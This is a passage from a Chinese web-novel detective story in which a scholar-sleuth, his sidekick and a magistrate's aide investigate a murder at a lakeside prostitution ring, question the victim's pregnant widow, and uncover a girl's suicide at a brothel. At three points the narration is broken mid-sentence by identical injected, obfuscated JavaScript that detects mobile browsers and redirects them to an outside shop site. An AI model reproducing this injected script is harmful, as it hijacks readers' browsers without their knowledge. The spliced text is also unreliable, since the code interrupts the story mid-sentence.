王博多立即对雾山角露出警惕的神色:“你该不会是来阻止我们调查此案吧?我可告诉你,这次是事主——龚繁麟的父亲——龚老爷请我们前去调查的,可不是我们仙儿哥为了寻写话本的灵感,故意要掺和一脚。” “我知道。”雾山角冷冷道,“我还知道,龚老爷送了万仙一套上好的文房四宝。” “你知道就好。”王博多梗着脖子皱眉,“等等,那你来找我们干嘛?” 万仙对王博多道:“你想想,尸体明明是他们衙门的人发现的,龚家为何要找我们查案?” 王博多道:“这案子是龚家托我们上一案的事主吴三泰介绍过来的,他们肯定也是觉得衙门的小师爷办案拖拖拉拉,没咱仙儿哥快呗。” 万仙没想到他当着雾山角的面也敢这么说,不禁汗颜,于是拿起折扇要敲他的脑袋。 王博多作势要躲,却不小心撞在雾山角身上。 雾山角岿然不动地坐在座位上咳嗽了几声,道:“龚老爷对官府颇有成见,即使儿子死了,也不愿意让我们调查,所以……” “所以你想让我们带你参与此案?”王博多幸灾乐祸般道,“没想到你也有今天。” 万仙拿折扇推开了王博多凑到雾山角面前挑衅的脑袋,道:“我猜到龚老爷对官府有成见,却不知具体为何。” 于是雾山角解释说:“龚老爷年幼时丧父,同母亲相依为命。一日,他的母亲遭到歹徒非礼,去报官讨要公道,结果那官老爷看到歹徒是相识的同好,竟联合歹徒反咬一口,说是这□□勾引他,还要污蔑他。龚老爷的母亲不仅被非礼,还平白无故坐了牢。至此,他们娘俩就再也不信官府了……” 雾山角叹气,说:“可那时,龚老爷他们母子并不在凌洛城,负责非礼案的也并非我阿舅……咳咳……并非现在的知县啊。” 万仙无奈地叹了口气,没有接话。 想必雾山角心里也清楚,人一旦对某一方失去信任,便再难拾起,而且容易对类似的一方以偏概全地同样失去信任。 “但出了命案,你们衙门硬要调查,他们也不敢拦着吧?”王博多说。 “那是自然。”雾山角正色道,“但顾及事主,我想还是不要强硬为好,免得龚家对我们衙门也深有芥蒂。” “原来如此,雾山兄真是心细。”万仙夸完,问道,“那这次你想以何种身份查案?” 谁知王博多抢先回答道:“仙儿哥,他鬼鬼祟祟在藏乐楼门口等着,肯定是想当你副手参与此案。” 谁鬼鬼祟祟了!雾山角瞪了一眼王博多,却不置一词。 王博多蹬鼻子上脸,继续道:“仙儿哥只有我这一位副手,你要当的话,也只能当我的副手。” “……”万仙无语片刻,骂道,“你还真敢让堂堂师爷当你副手?” 雾山角也跟着翻了一个白眼,但是他竟没反驳王博多,只是臭着一张脸坐在马车上。 看来为了查案,他也是能屈能伸! 万仙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17037492|194637||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不禁对他刮目相看。 王博多对此也有些吃惊。他混不吝惯了,刚才的话全然是一时兴起,脱口而出。现在,他余有后怕地想,这大头可别最后忍不住抽出剑,给我脖子来上一刀! 就在王博多胡思乱想之际,万仙已经同雾山角聊起了碎星湖上的杀人案。 “世上真有五尺长的蚌壳?”万仙问道。 雾山角冷哼一声,回答:“世上有没有这么大的真蚌壳,我不知道。但碎星湖上的蚌壳,我知道是假的。那不过是用木头加上石灰制作的器具。” “器具?” 雾山角解释道:“那蚌壳巨大,宛若棺材,可容一人卧躺。” “为何要做这东西?”王博多回过神来,插入对话。 “一开始我也倍感疑惑,”雾山角道,“经过一番调查,我才发现,这假蚌壳竟是为了让女人扮演蚌中仙……” 雾山角同他们讲起了发生在碎星湖上的腌臜交易—— 寻欢作乐乃是人之天性,烟花酒楼的潇洒,对很多人来说已是“极乐”。可总有人想要极上加极,玩出更多的花样。 于是有人便利用碎星湖上那一座座独立的芦苇岛,经营起了新的买卖。 世人都听闻过蚌中仙的故事:一名男子救了一只河蚌,蚌中仙便化身美艳的女子前去报恩,每日趁其出门为其做饭洗衣。后来男子疑惑,窥探之,发现了蚌仙的秘密,两人终成眷属,天长地久,恩爱异常…… 这故事在不少男人心中扎下了一个美好的幻想。 “要是也有个美艳的蚌仙,傍我左右就好了。” 男人们开的玩笑话,被有心人听了去。 于是他们寻来愿意卖身的女子,扮演蚌中仙,来满足男人对于仙子的幻想。 女子被放入巨大的假蚌壳中,运至碎星湖上的芦苇岛。 船夫再接来好色的男人,上芦苇岛寻欢。 岛上密密麻麻的芦苇围成一堵墙,让人难以往里窥探。接送的船夫还会远远地监视岛边的情况,以防哪个不明事理的人闯入,破坏了客人的雅兴。就这样,客人们可以在芦苇中心以天地为床,肆无忌惮地玩个痛快。 这野外的寻欢可比在青楼作乐刺激得多,价格自然也昂贵了不少。 但寻刺激的客人,此时也顾不了那么多,价格贵些就贵些,只要能登极乐就行。 “我还听说,有些客人还会对女子提过分的要求……”雾山角压低声音说完,瞟了一眼王博多,故意道,“啊!我忘了这里还有个小毛孩,再说下去就不妥了。” “谁是小毛孩了!”王博多大嚷,脸上却泛着红晕。 为了掩饰自己的尴尬,他转开话题道:“那你们抓到经营这一切的‘有心人’了吗?” “没有。他们比我想象敏锐,听闻碎星湖上出了事,早逃走了。但我已经派差役去追查了。” 万仙则道:“难道说扮演蚌中仙的女子受不了龚繁麟的过分要求,将他杀害逃走了?” “很有可能。” “那接送他们的船夫呢?他没看到她逃走?” “我们调查了一圈发现附近有个姓蔡的船夫不见了踪影。”雾山角如实道,“也许是女子杀了客人后,将船夫也一并杀死了。” “你们可在那命案小岛附近的湖中搜寻过?”万仙问。 雾山角回答说:“已经差人下去湖里搜寻过,并未发现其他尸体,也没发现凶器。” “那会不会是船夫和那女子一起杀的人,然后两人逃之夭夭了?”王博多继续插嘴道。 “也有这种可能。” 雾山角的话音刚落,马车就停了下来。 车夫打断了他们的谈话,道:“各位客官,龚家到了。” 17.第二案:蚌中仙02 出人意料的,迎接万仙他们三人的并非龚老爷,而是死者龚繁麟的妻子,宁婉莹。 她挺着大肚子,强打着精神,对万仙道:“想必这位便是公公请来调查我夫君被害案的万仙公子?” 万仙点头称是,介绍起身旁的王博多。但宁婉莹的目光却早早落在了雾山角身上。 这也不能怪她,任谁都会对一个光天化日还戴着面具的男子产生好奇。 ——雾山角怕龚家人认出他,特地做了这层伪装。 见宁婉莹打量雾山角,王博多赶紧解释说他也是万仙的副手。 谁料宁婉莹困惑道:“小师爷既是知县的副手,又是万仙公子的副手?” 她这话一出,雾山角和王博多脸上都闪过一丝惊讶。 惊讶之后,王博多幸灾乐祸地抱着双臂,咧着嘴道:“小师爷这次多此一举咯。” 雾山角一阵窘迫,索性摘下了面具,问宁婉莹:“你怎么知道是我?” 万仙刚才就察觉到宁婉莹的目光最后落在什么地方,于是解释道:“是因为你腰间的不忍剑。” 宁婉莹莞尔一笑,点点头说:“我同公公去认尸的时候,有见过小师爷配带这把剑,所以就猜到了……真是难为小师爷了。公公素来对官府抱有成见,经常同我们提及他母亲的遭遇。现在,即便是儿子死了,他也不相信衙门派的人能明察秋毫,哎……不过小师爷放心,我是愿意相信你的。” “所以龚老爷呢?”雾山角把面具收起,问道。 “公公悲痛欲绝,犯了病,现在正卧病在床,所以全家上下,由小女撑着。你们有什么问题,问我就好。” 万仙看了一眼宁婉莹的肚子,提议道:“夫人,或许我们可以坐着聊?” 宁婉莹点了点头,让众人在厅堂坐下,并差人送来了茶水。 万仙喝了一口茶,缓缓开口,如拉家常般问道:“夫人如今是几个月的身孕?” “已经九月有余。”宁婉莹再次抚了抚肚子,叹息道,“可惜繁麟还未见到他的女儿,就失了性命。” “你们竟知道肚子里的娃儿是男是女?”王博多惊讶。 “我们之前去落子观祈福。落子观的老法师算出来,我肚子里的是女娃。”宁婉莹顿了顿,道,“好在龚家并不重男轻女,繁麟说他也喜欢女儿。” 靠算就能算出女子怀的是男是女?万仙觉得不太可能。 但他并未深究此事,而是道:“你可知龚繁麟为何去碎星湖?” 这话问完,三人都紧张地注视着宁婉莹。 “各位不用担心,你们随便问,我撑得住的。”宁婉莹垂下眼帘,脸上闪过一道阴影,回答万仙道,“繁麟近日经常下午出门,我还以为他是去寻灵感去了。” “哦?”听到灵感二字,万仙颇感好奇。 “说来还是因为万仙公子。”宁婉莹解释道,“如今凌洛城里,属万仙公子的话本最有名。繁麟平日里也爱看这些话本,还说要学万仙公子,写书扬名天下呢。结果坐在案头,他可是一个故事都编不出来。所以后来他经常跟我说自己要出门寻些灵感,但是现在看来,那不过是借口罢了……他出门,是去找女人了吧?” 三人沉默,竟有些不敢对上宁婉莹哀怨的目光。 “碎星湖上出了命案,凌洛城的百姓议论纷纷,我自然也听说了那‘寻乐蚌仙’的事。”宁婉莹像是在宣泄似的,自顾自地说道,“与繁麟结婚至今,他从未晚归,也鲜少同什么狐朋狗友去酒楼寻欢,我还以为他是个好男人呢。所以即便他忽然消失一下午,我也从未想过他会去干那龌龊之事。结果……果然,我还是太愚蠢了,太相信他了……” “他是从何时开始,会消失一下午呢?”万仙轻声问道。 宁婉莹思索片刻,突然怔住。 “怎么了?”雾山角皱眉。 他们看到宁婉莹眼眶湿润,颤抖地说出了刚刚问题的答案:“他是从落子观回来后,才开始经常消失一下午的。” 说着,她的眼泪流了下来。 “所以他根本不想要女儿?他得知我肚子里怀的是个女孩,就去找了别的女人?他想尽快要个儿子?”宁婉莹大声问道,“他难道想与那些妓女生个儿子?!” 王博多不解道:“龚繁麟为何想尽快要个儿子?难道他患有绝症,命不久矣?” 雾山角也道:“我有听说,龚繁麟曾经罹患隐疾,差点丧命?” 宁婉莹赶紧解释道:“繁麟他曾经的确身体不好。但近年来,已调养回来了。陪我去安胎的时候,我特意让医馆的医师给他检查过身体,他如今绝没有什么病症,更别说是绝症了。” “那他为什么这么着急?即便他不喜欢女儿,即便夫人肚子里真的是个女儿,他也可以在以后与夫人再试试生个男孩啊。”王博多撇撇嘴。 “谁说他一定是为了生孩子?”雾山角忽然冷哼道,“或许他只是受不了寂寞,找人消遣罢了。在妻子怀孕时偷情的男子,不在少数。我们衙门经常得处理由此类事件闹出的夫妻纷争。” 一旁的万仙见宁婉莹有些激动,怕动了她的胎气,不敢再顺着雾山角的话追问下去。 雾山角很快察觉到了万仙的担忧。毕竟宁婉莹还怀着龚繁麟的孩子,她怀着对他的痛恨生子,是多么残忍的一件事啊! 出于好意,雾山角想让宁婉莹多念及她与丈夫在一起时的快乐,于是问道:“夫人,你和龚繁麟是怎么认识的?” 宁婉莹被他这么一问,果然收起了眼泪。 回忆了半晌,她轻轻一笑,道:“我和繁麟是在洞房花烛夜时认识的……” 如今身体无恙的龚繁麟,几年前却生过一场大病,差点丢了性命。 那时为了保住他的命,龚老爷可是费尽了心思。他不仅寻医问药,还寻来宁婉莹同他结婚,为他冲喜。 宁婉莹家境贫寒,却生得标致。龚老爷在媒婆的介绍下,一眼就相中了她,带着丰厚的聘礼上门提亲。 宁婉莹的父母虽知道女儿嫁去是为了冲喜,却难抵龚老爷金银财宝的攻势,最终还是将她推出了门。 就这样,宁婉莹在从未见过龚繁麟的情况下,嫁进了龚家。 从小被教育要孝顺的宁婉莹,心中虽有千万个不愿意,最后也只能认了命。 他们要她盖上红盖头,她便盖;他们要她坐上喜轿,她便坐;他们要她拜天地,她便拜;他们要她入洞房, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17040265|194637||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她便入…… 洞房花烛夜,宁婉莹惴惴不安地坐在床边,盖着盖头等着新郎。 许久之后,房门有气无力地被推开,一个身影跌跌撞撞地走到了她面前。 她以为他会掀开她的盖头,于是深吸了一口气,紧张地等待着。 谁知她瞧见盖头底下的人影闪到了一旁。 龚繁麟没有掀开她的盖头,而是“砰”地一声,躺在了她的身旁。 宁婉莹吓了一跳。 “你还好吗?”隔了许久,她才小声地问道。 龚繁麟的声音轻飘飘地传来:“对不起,让你嫁给了个病骨支离的废人。要不……你现在就逃吧。” “啊?” 她终于忍不住掀起了自己的盖头,向身旁望去。接着,她就看到了丈夫的模样。 那是一张略有几分俊秀之色,却因生病而憔悴的脸。此刻,他脸上那双黯然的眼睛,正温柔地看着她。 “委屈你了,婉莹……你是叫婉莹,对吧?我们从未见过,你却被迫赌上这辈子要嫁给我……实在是对不住……”他磕磕巴巴地说,“我说真的,你赶紧逃吧,我偷偷给你开了我家的后门……” 宁婉莹怔怔地看着龚繁麟,忍了这么多日的害怕、委屈,终于在那一刻化为了眼里的一汪温热,流了下来。 她呜咽着哭诉起来:“为什么他们要把我卖掉?为什么我生下来就是在受委屈……” “听到我抱怨,他也不恼,反倒宽慰我,以至于我后来越说越多,讲了一整夜,最后把自己讲得累晕了过去。”回忆着往事,宁婉莹脸上带着悲伤的笑容,“也许从那一晚开始,我就喜欢上了这个愿意听我讲话的男人了吧。我发现他仿佛有魔力,令我止不住地想同他倾诉衷肠。所以那晚,从那时起,我再也没有萌生逃走的念头。我们就这么阴差阳错地把这日子过了起来。” 宁婉莹说着说着,神情变得冷漠。 “但现在想来,那晚他佯装好心让我逃跑,其实是因为他早就从媒婆那里知道了我的脾性,晓得如何拿捏我了吧?他用那窝心的言语,让我甘愿留下来,为他冲喜。我还傻傻地以为自己捡了天上掉下来的馅儿饼,遇到了个好男人呢。结果我帮他冲喜,陪他把病养好,竟是让他有了气力去外面找妓女!”她激动地握紧了拳头,捶了两下桌子。 万仙生怕她有什么闪失,立即起身,关心道:“还请夫人保重身体。” 宁婉莹努力压下情绪,嘴唇却止不住地颤抖:“公子,失礼了。” “是我们失礼了。”万仙道,“我想我们今日就到这里吧。” 他转头看了一眼雾山角,雾山角点点头,同意就此打住。 于是万仙就领头,向宁婉莹告辞。 宁婉莹扶着肚子坚持送他们到了龚家门口。 王博多最后一个踏出龚家大门,连忙道:“夫人请留步。” 宁婉莹站在门槛之内,对着他露出礼貌的笑,看着大门缓缓关上。 待三人的身影终于消失在眼前后,宁婉莹才擦了擦眼角余下的泪,抚着肚子,恶狠狠地道:“龚繁麟,是我对不起你……但你是真该死啊。” 此刻她的眼神已经从哀伤变为了冷漠。 18.第二案:蚌中仙03 龚家门外,王博多看着宁婉莹伤心的脸随着门缝合上而消失,皱起了眉头。 三人走在街上时,他终于忍不住,挺了挺腰杆道:“说不定人是宁婉莹杀的。” 这突如其来的猜测,令万仙和雾山角顿下脚步,齐齐向他望去。 王博多被他们一瞧,更来了劲儿,滔滔不绝道:“宁婉莹能靠不忍剑,快速地拆穿小师爷的身份,说明她眼神敏锐,心思缜密。这样一位女子,能察觉不出丈夫在外面偷情?” “你是觉得,她发现了丈夫寻欢作乐一事,怒从心起,于是杀了他?”万仙“啪”地一声将折扇打开,饶有兴致地问。 “完全有这个可能,不是吗?”王博多说。 雾山角却道:“她身怀六甲,挺着大肚子,要杀一个大男人可不容易。要知道,龚繁麟如今可不是抱恙之躯。” “说不定是她差人去杀的龚繁麟。”万仙顺着他的话猜测道,“说不定她差的那人就是船夫。那船夫杀了人后,就拿着酬劳销声匿迹了。” “也有可能宁婉莹杀人灭口。船夫杀死了龚繁麟,去领酬劳时,又被宁婉莹杀害,所以你们衙门的人找不到他的踪迹。”王博多对雾山角说。 雾山角思索道:“那扮演蚌中仙的女子呢?” “或许她也被船夫杀害了,或许……” “或许那娼妓才是宁婉莹派去的杀手。”雾山角自己回答自己,“她趁龚繁麟不注意时,刺死了他。船夫撞见了她杀人的场景,于是她把船夫也给杀害了。” “那她为何要藏匿船夫的尸体,而不是像处理龚繁麟尸体一样,将船夫的尸体也丢在芦苇岛上?”万仙问道。 谁料王博多反倒先接了话:“船夫可能只是撞见了娼妓杀人,吓得溜走了。” “那他为何不报官?”雾山角道。 王博多一时不知道如何回答。万仙扇着扇子,像是替他说话似的继续推测道:“也有一种可能是娼妓和船夫联手杀的龚繁麟,所以他们才会一起消失不见。” 王博多闻言,用力地一拍手,嚷道:“没错,没错,这很有可能!” 万仙赶紧提醒道:“当然这些只是我们的胡乱猜测罢了,也许根本没有宁婉莹买凶杀人一事。” 王博多连连点头称是。 雾山角则故意调笑道:“不过你这小跟班,倒没有我想象中那么笨。” 这话虽藏着褒奖的意味,却令王博多炸了毛。 “谁笨了!你才笨!”王博多狠狠地瞪了雾山角一眼,嚷嚷起来,“再说了,小跟班这词我不喜欢,我是仙儿哥的副手!副手!” 万仙知道雾山角是故意逗弄王博多,而王博多完全着了他的道,不禁无奈地摇了摇头。 他把折扇一收,打住了王博多嚷嚷的嘴,转头问雾山角:“你刚才说龚繁麟是被人刺死的?” “是的,他是被锐利细尖之物刺死的。”雾山角道。 “刺在哪里?” “这里。”雾山角指了指自己的喉咙,不羁地瞟了一眼王博多,道,“这些真正有用的细节,还得靠我这个临时的副手提供给仙儿哥呀。” 王博多吃了瘪,翻了个白眼,抱起双臂生闷气。 万仙知道雾山角是在报复王博多在马车上让自己吃瘪,汗颜地呲了呲嘴,暗骂他怎么也跟个小孩子似的。 不过雾山角很快正了正脸色,认真起来,道:“龚繁麟喉咙处的伤是致命伤,但他身上可不止这一处伤口。” “哦?” “在死者身上,还分布着五处刺伤。” “分布?它们不是在一起的?”万仙惊讶。 “我知道你在想什么。”雾山角说,“你是不是怀疑,龚繁麟要对‘蚌中仙’行过分的不轨之事,于是她奋起反抗,刺死了他?” 万仙点头。 “如果是这样的话,他身上的伤口应该是模糊的,交叠在一起的。但事实上,那些伤口清晰地分布在他上半身。” “所以凶手将凶器刺进了龚繁麟的喉咙,致使他死亡后,又故意在他身上刺了五次?” “我想应该是这样的。” “那很可能不是临时起意杀的人。” “没错。凶手很像是在完成某种仪式……” 王博多挠着脑袋,问道:“什么仪式?” “可能是复仇仪式。”万仙道,“我们假设你刚才的猜测是对的,龚繁麟的死是宁婉莹派人所为。那么就是宁婉莹要求杀手在龚繁麟身上刺下六处伤口。” “为何?”王博多还是不解。 雾山角淡淡道:“也许龚繁麟去了六次碎星湖,所以宁婉莹为了抒发心中的愤恨,要求杀手留下了这六处伤。” “那我们折回去,问问宁婉莹,是不是知道龚繁麟去过几次碎星湖?”王博多提议。 万仙摇头,道:“若她说她知道,你可有方法将她定罪?如今我们人证物证都没有,仅凭这点猜测,怕是无济于事。” “那我们接下来怎么办?”王博多和万仙往前走,却忽然发现雾山角停下了脚步,不禁转头嚷道,“你愣着干嘛?” 万仙也转头看向雾山角,只见他仰着头,打量着一家香料铺。 “怎么,有心上人了?想买个香囊带回去送她?”王博多废话超多。 万仙却立马明了雾山角突然停下脚步的原因。 “那‘蚌中仙’在蚌壳中留下了香气?”万仙退回到雾山角身旁。 “你怎么知道?”雾山角惊道,“多亏了那蚌壳一直合拢着,才没让那香气彻底消散。” 万仙并未回答他的惊讶之问,而是直接道:“你还记得那是什么香味?” “虽只在我鼻尖停留一 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香料铺本就香气弥漫,要在其中寻到只闻过一瞬的香味,雾山角心里着实有压力。所以他表面轻松,闻得却格外认真。但闻了半天,他只闻到几瓶花露有些许类似的气味,却都不是那日蚌壳中的味道,他不免有了挫败之感。 被香气熏得晕头转向的王博多在看到他放下最后一瓶花露时,也颇为遗憾地问:“都没有吗?” 他不是质疑雾山角的能力,而是遗憾花了这么久的功夫还是徒劳无获,雾山角却会错了意,有些气恼道:“这家没有,就寻下家呗!着什么急!” 说罢,他便迈开步子要走,万仙却将扇子一合,伸出手拦住了他。 “雾山兄留步。”他走到那一堆花露前,挑出了雾山角刚刚觉得气味“有些许类似的”的花露,问店主,“老板,这些花露可否混合使用?” “当然可以。”老板道。 雾山角立刻明白了万仙的意思,暗骂自己愚笨,于是故作姿态般地扯着嗓子嚷道:“老板,拿个空瓶过来。” “空瓶也是要钱的……”老板的话被王博多甩过来的文钱打断,他嘿嘿一笑,急忙道,“马上,马上。” 于是万仙把扇子往袖口一收,接过老板递来的空瓶,专心调配起了花露。 散发着香味的水珠混在一起,挥发出新的气味。 雾山角不用凑近,就闻到了那香气。它如酒般醉人,正是那蚌壳里传出的味道! “老板,近日可有人将这些花露一起买走?”雾山角立马问道。 老板愣了愣,回忆道:“是鸢楚姑娘。她最爱收集花露,还时常撺掇她的客人来我这里买……上一次,她就将这几瓶花露一起买了回去,还说要跟姐妹们分享 。” “撺掇她的客人?”万仙故意挑出了这几个字。 老板脸上闪过一丝暧昧的神色,道:“鸢楚姑娘做什么生意,我想我就不必多说了吧?” 19.第二案:蚌中仙04 雾山角不是没有派差役去各家青楼询问,谁曾在碎星湖上扮作蚌中仙。但差役们回来禀报,都说无人去过。 雾山角后来懊恼地想,自己就不应该这样去调查。现在大家都知道碎星湖上出了命案,谁也不想与其扯上关系,那些娼妓,又怎么可能如实招来? 不过现在有了花露的线索,有人可难逃其咎了。 雾山角率领万仙和王博多走进簪翠台,香料铺老板口中的鸢楚姑娘,便在此营生。 鸢楚是后来才加入簪翠台的。 最开始,创办簪翠台的是四姊妹。为了让客人容易记住,她们按年龄大小给自己取名“春夏秋冬”。大家便阿春、阿夏、阿秋、阿冬地叫她们。 今日,四姊妹都在簪翠台内。其中三位,正在大堂里翩翩起舞。她们身边围着几个十几岁模样的女孩。她们依样画葫芦地甩着手臂,扭着细腰,每个女孩都累得满头大汗,气喘吁吁。 四姊妹中年龄最大的阿春如同将军在检阅士兵,在孩子之间穿梭,紧盯她们的动作。 忽然,她踱步到一个女孩身旁,扶住了她的腰。 女孩吓得闭眼,却仍听到阿春怒道:“你这腰若是再下不去,就给我回去路边要饭!我们簪翠台,可不养废物!” 说着,阿春的双手用力,将女孩的腰死死地压了下去。女孩疼得直眨眼睛,却不敢叫出声来。 万仙明白,她这是在培养簪翠台的新娼妓,心中不禁五味杂陈。 王博多则骂道:“这也太狠了吧,看上去好痛啊!” “没有本事,饿得前胸贴后背,才是真的痛!”阿春下意识地反驳道,然后在抬眼看到王博多腰上金丝绣花的荷包后,立刻换上了柔和的语气道,“客官……” 她变换自如的脸色,配上娇软的声音,令王博多如遇毛虫似的“呃”了一声。 不过善于察言观色的阿春,很快就从三人的神情上,看出他们来此并非是来寻乐子的。于是她又换上了新的面孔,语气不再娇媚,而是颇有礼貌道:“各位客官,有何贵干?” 与此同时,刚刚还在起舞的其他三姊妹也停下了舞蹈,好奇地打量着他们三人。 雾山角掏出令牌,告知他们自己是衙门的人,然后冷冷道:“你们谁是鸢楚姑娘?” 阿春一看令牌,紧张地解释道:“我们是春夏秋冬四姊妹。” “那鸢楚姑娘呢?” “鸢楚她在厢房……”阿春冲刚刚被她压下腰的女孩扫了一眼。女孩立刻道:“我去叫她。” “我跟你一起去。”雾山角抱着双臂,跟着女孩迈开了步子。 万仙扇着扇子,也跟了上去,把阿春那有阻拦意味的一声“欸……”甩在了身后。 王博多见状,赶紧小跑到万仙身旁,小声道:“我们为什么要跟着去?让人家小姑娘把鸢楚叫过来不就成了?” 万仙拿扇掩嘴,轻声道:“雾山角是怕小姑娘通风报信,让鸢楚跑了。” 王博多这才了然地点头。 雾山角的担忧不无道理。如果龚繁麟那日邀约的蚌中仙真是鸢楚,而鸢楚也真是凶手,那么当她得知衙门的人已经查到她身上,说不定会落荒而逃。 万仙和王博多窃窃私语完,就见领头的女孩在一间厢房门口站定,敲了敲门。 门内响起应门声,于是女孩领着雾山角他们推门进入。 万仙看到屋里竟有四人。 四人之中,唯一一位大人,便是坐在床右侧的鸢楚姑娘。她梳着发髻,露出一张细嫩的脸。那脸庞的轮廓仿佛女娲精心雕琢的佳作,美不胜收。 但最吸引人的还是她那双明亮又温柔的眼眸,此刻它们全神贯注地盯着床上的男孩。 万仙三人顺着她的目光注意到那男孩。男孩看上去生了重病,虚弱不堪,此刻正裸着上身趴在床上。他的背上扎满了做针灸的针。 为他针灸的正是鸢楚。 鸢楚注意到有人气势汹汹地来找自己,不惊讶,也不恼怒,而是伸出纤细的手,慢条斯理地将男孩身上的针一一拔出,递给一旁等待着的一个小男孩。 床上的男孩紧闭双眼,时不时发出一声呻吟。 而他的身旁,床的左侧,一个小女孩紧紧地握着他的手。 “小菩,阿姐在,不怕。”女孩像是不忍心看他痛苦的模样,撇过头去,眼里噙着泪。 “他生了什么病?”万仙关切地问。 “小菩他感染了风寒。”小菩的阿姐心疼地回答,“没想到这也能让人一病不起。” 鸢楚没理会他们的对话,而是继续专心地拔着针。等到结束拔针,她才转头看着万仙他们道:“你们找我?” “鸢楚姑娘还懂医术?”雾山角问。 “技多不压身,我曾学过一些。”鸢楚如实回答。 “所以你懂人体穴位,也知道如何让人一招致命?” “沉月,给小菩把被子盖上。”鸢楚嘱咐完女孩,又指挥拿针的男孩离开,才不急不慢地对雾山角道:“客官,你这话是什么意思?小女听不明白呢。” “你可曾去碎星湖扮过蚌中仙?”雾山角直截了当地问。 鸢楚瞟了一眼身旁的女孩,道:“小女仍听不明白。” “姑娘就别同我打马虎眼了。”雾山角拿出那瓶万仙混合的花露说,“碎星湖上有人被害,而现场正有这花露的香味。香料铺的老板可说,近日只有你买过可以混合出这种香味的花露。” 鸢楚撩了撩乌黑的长发,软趴趴地说:“那又如何呢?” 雾山角有些生气地再度问道:“两日前,龚繁麟邀约在碎星湖上扮演蚌中仙的可是你?” 鸢楚没有回答雾山角,而是道:“大人,我的确是买了花露。但我有分给簪翠台的其他姐妹们,让她们接客使用……” “你的意思是,我们不应该只怀疑你?” 鸢楚垂下眼帘,看着地面,却不回答。 雾山角心里窝火。常人若是被追问自己是否与命案有关,大抵都是立即反驳的。这鸢楚居然顾左右而言他,实在是可疑!但她明目张胆地装聋作哑,雾山角竟一时拿她没办法。 王博多见雾山角问到绝境,于是想让他的仙儿哥出马,谁知万仙未把目光落在鸢楚身上。 此刻,他正仰着头,细细打量着头顶的横梁。 “怎么了?”王博多小声地问。 万仙眉头紧锁,忽然转头看着鸢楚,问道:“你们簪翠台最近死过人?” 在场的众人猛地抬起头,目光齐齐地射向万仙。 万仙把扇子往横梁一指,言之凿凿道:“有人曾在此上过吊。” 雾山角闻言,立刻双脚发力,蹬着墙壁,翻身上了房梁。他仔细一探,确实发现一根木头上有绳子磨损出来的痕迹。 “谁在这里上吊?”雾山角厉声问道。 鸢楚和沉月都为之一颤。两人张了张嘴,却什么声音也没有发出。 “上头绳子磨出来的痕迹并不太旧,你们可别告诉我,你们什么都不知道。”雾山角从横梁跳下来,稳稳落在地上,黑色的衣摆扬起一阵潇洒的灰尘。 鸢楚和沉月却依旧沉默。 万仙扫了一眼床上的小菩和床边的沉月,对鸢楚道:“香料铺的老板说,簪翠台除了春夏秋冬四姊妹外,就只有鸢楚姑娘在接客。难道,最近吊死的是你们收养的孩子?” “公子聪慧。”忽然,一个声音从厢房门口传来,“吊死的,确是我收养的女孩,于梦梦。” 鸢楚和沉月闻声,终于重新抬起头。万仙随着她们的目光转过头去,看到在门外偷听的阿春现了身,走进屋内。 “于梦梦为何上吊?是自尽还是他杀?”雾山角问。 “若是他杀,我们早就报官了。”阿春哀叹道。 “那你们可知她为何自尽?”万仙问。 “说来都怪我。”阿春不无哀伤地说,“几年前我收留了了落难逃到凌洛城的于梦梦。我见她尚有姿色,就决定花点功夫培养她,让她今后可以去接客。为了讨口饭吃,那孩子应许下来。前些日子,见她已亭亭玉立,舞技也已能取悦客人,我就决定让她出师……” “所以簪翠台中,在接客的不止是你们四姊妹和鸢楚,还有于梦梦?”万仙道,“但似乎凌洛城里的人并不知晓于梦梦,难道她害怕面客,在接客之前上吊自尽了?” “那孩子的确打过退堂鼓。但我还是逼她走出了第一步。”阿春的眼神变得越来越冷冽。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17049832|194637||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>万仙像是猜到似的,道:“难道说,于梦梦接待的第一个客人就是龚繁麟?” 阿春凄凉地扯了扯嘴角,再次道:“公子聪慧。” 王博多义愤填膺道:“那龚繁麟到底干了什么,竟逼得于梦梦上吊自尽!” “是我对不住梦梦……”阿春悲痛道,“那碎星湖上的勾当,荒唐又夸张!那些客人无所不用其极地玩弄女人……龚公子也是如此。梦梦受不了他的凌辱,回来觉得倍感屈辱,所以才……才上吊自尽了!” “她第一次面客,你就替她接了碎星湖的活?”雾山角皱眉。 